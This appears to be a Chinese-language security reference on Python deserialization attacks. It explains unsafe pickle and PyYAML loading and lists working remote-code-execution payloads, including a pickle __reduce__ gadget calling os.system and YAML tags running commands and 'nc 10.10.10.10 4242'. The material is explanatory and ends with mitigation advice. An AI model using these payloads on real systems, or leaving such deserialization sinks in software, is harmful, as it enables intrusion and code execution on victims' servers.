Python 反序列化 (Python Deserialization)
Python 反序列化是指从序列化数据中重建 Python 对象的过程,通常使用 JSON、pickle 或 YAML 等格式。pickle 模块是 Python 中常用的工具,因为它可以序列化和反序列化复杂的 Python 对象,包括自定义类。
摘要 (Summary)
工具 (Tools)
- j0lt-github/python-deserialization-attack-payload-generator - 针对使用 pickle, PyYAML, ruamel.yaml 或 jsonpickle 模块进行反序列化的 Python 应用程序生成 RCE 攻击 Payload 的工具。
方法论 (Methodology)
在 Python 源代码中,查找以下 Sink(汇聚点):
cPickle.loadspickle.loads_pickle.loadsjsonpickle.decode
Pickle
以下代码是一个简单的示例,使用 cPickle 生成一个 auth_token,该令牌是一个序列化后的 User 对象。
import cPickle 仅适用于 Python 2。
import cPickle
from base64 import b64encode, b64decode
class User:
def __init__(self):
self.username = "anonymous"
self.password = "anonymous"
self.rank = "guest"
h = User()
auth_token = b64encode(cPickle.dumps(h))
print("Your Auth Token : {}").format(auth_token)
当从用户输入中加载令牌时,漏洞就会产生。
new_token = raw_input("New Auth Token : ")
token = cPickle.loads(b64decode(new_token))
print "Welcome {}".format(token.username)
Python 2.7 文档明确指出,绝不应将 Pickle 用于不受信任的来源。让我们创建一个恶意的序列化数据,以在服务器上执行任意代码。
pickle 模块对于错误或恶意构造的数据是不安全的。切勿从不受信任或未经身份验证的来源反序列化 (unpickle) 数据。
import cPickle, os
from base64 import b64encode, b64decode
class Evil(object):
def __reduce__(self):
return (os.system,("whoami",))
e = Evil()
evil_token = b64encode(cPickle.dumps(e))
print("Your Evil Token : {}").format(evil_token)
PyYAML
YAML 反序列化是将 YAML 格式的数据转换回 Python、Ruby 或 Java 等编程语言中的对象的过程。YAML (YAML Ain't Markup Language) 在配置文件和数据序列化中非常流行,因为它具有良好的可读性并支持复杂的数据结构。
!!python/object/apply:time.sleep [10]
!!python/object/apply:builtins.range [1, 10, 1]
!!python/object/apply:os.system ["nc 10.10.10.10 4242"]
!!python/object/apply:os.popen ["nc 10.10.10.10 4242"]
!!python/object/new:subprocess [["ls","-ail"]]
!!python/object/new:subprocess.check_output [["ls","-ail"]]
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
自 PyYaml 6.0 版本以来,load 的默认加载器已切换为 SafeLoader,从而缓解了远程代码执行的风险。PR #420 - 修复
现在,易受攻击的 Sink 为 yaml.unsafe_load 和 yaml.load(input, Loader=yaml.UnsafeLoader)。